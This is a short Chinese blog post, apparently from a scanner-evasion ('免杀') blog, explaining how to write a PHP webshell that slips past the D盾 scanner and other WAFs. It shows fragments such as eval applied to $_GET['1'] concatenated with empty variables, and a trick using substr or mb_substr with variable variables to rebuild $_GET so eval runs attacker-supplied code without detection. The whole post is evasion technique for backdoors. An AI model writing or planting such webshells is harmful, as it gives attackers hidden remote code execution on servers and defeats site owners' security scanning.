过D盾Shell新思路分析

  • 发表于
  • 免杀 , 周边

在先知上看到了一个shell过D盾的思路,同样可用来过其它waf。

过D盾Shell新思路分析

D盾扫描结果

过D盾Shell新思路分析

以前的思路常规,就是定义一个变量b: $b=''; 为空, $b = null;$b = "\n"; 然后变量a: $a = $_GET['1'];eval($a.$b); ,或者 eval($b.=$a); 。但是现在这种方法基本报一级或者直接杀,查出某个变量。

而今天这个论坛看到的,思路有趣。 substr() 函数返回字符串的一部分,例如:

$a=substr($m,0,1); 返回第一个字符 $$b=substr($m,1,9999); 相当于 $b=_GET['1']; 然后eval括号内拼接组合。

过D盾Shell新思路分析

mb_substr

mb_substr — 获取部分字符串

substr

substr — 返回字符串的子串

mb_substr和substr特性类似,也可以用mb_substr,一样过D盾。

参考